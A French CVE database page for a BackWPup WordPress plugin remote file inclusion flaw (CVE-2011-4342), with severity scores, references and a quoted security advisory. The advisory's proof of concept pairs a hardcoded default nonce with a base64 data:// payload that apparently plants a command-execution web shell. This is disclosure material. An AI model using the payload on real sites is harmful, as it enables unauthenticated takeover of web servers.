CVE-2011-4342 : Détail

CVE-2011-4342

Code Injection
A03-Injection
9.47%V3
Network
2012-10-08
18h00 +00:00
2024-09-17
03h37 +00:00
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Descriptions du CVE

PHP remote file inclusion vulnerability in wp_xml_export.php in the BackWPup plugin before 1.7.2 for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the wpabs parameter.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 17056

Date de publication : 2011-03-27 22h00 +00:00
Auteur : Sense of Security
EDB Vérifié : No

Sense of Security - Security Advisory - SOS-11-003 Release Date. 28-Mar-2011 Last Update. - Vendor Notification Date. 25-Mar-2010 Product. Wordpress Plugin BackWPup Platform. Independent Affected versions. 1.6.1 (verified), possibly others Severity Rating. High Impact. System Access Attack Vector. Remote without authentication Solution Status. Upgrade to version 1.7.1 CVE reference. Not yet assigned Details. A vulnerability has been discovered in the Wordpress plugin BackWPup 1.6.1 which can be exploited to execute local or remote code on the web server. The Input passed to the component "wp_xml_export.php" via the "wpabs" variable allows the inclusion and execution of local or remote PHP files as long as a "_nonce" value is known. The "_nonce" value relies on a static constant which is not defined in the script meaning that it defaults to the value "822728c8d9". Proof of Concept. wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0 ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d Solution. Upgrade to version 1.7.1 Discovered by. Phil Taylor - Sense of Security Labs. Sense of Security Pty Ltd Level 8, 66 King St Sydney NSW 2000 AUSTRALIA T: +61 (0)2 9290 4444 F: +61 (0)2 9290 4455 W: http://www.senseofsecurity.com.au E: info@senseofsecurity.com.au Twitter: @ITsecurityAU The latest version of this advisory can be found at: http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf Other Sense of Security advisories can be found at: http://www.senseofsecurity.com.au/research/it-security-advisories.php

Products Mentioned

Configuraton 0

Backwpup>>Backwpup >> Version To (including) 1.7.1

    Wordpress>>Wordpress >> Version -

    Références

    http://www.osvdb.org/71481
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.exploit-db.com/exploits/17056
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://seclists.org/fulldisclosure/2011/Mar/328
    Tags : mailing-list, x_refsource_FULLDISC
    http://secunia.com/advisories/43565
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.openwall.com/lists/oss-security/2011/11/22/10
    Tags : mailing-list, x_refsource_MLIST
    http://www.openwall.com/lists/oss-security/2011/11/22/7
    Tags : mailing-list, x_refsource_MLIST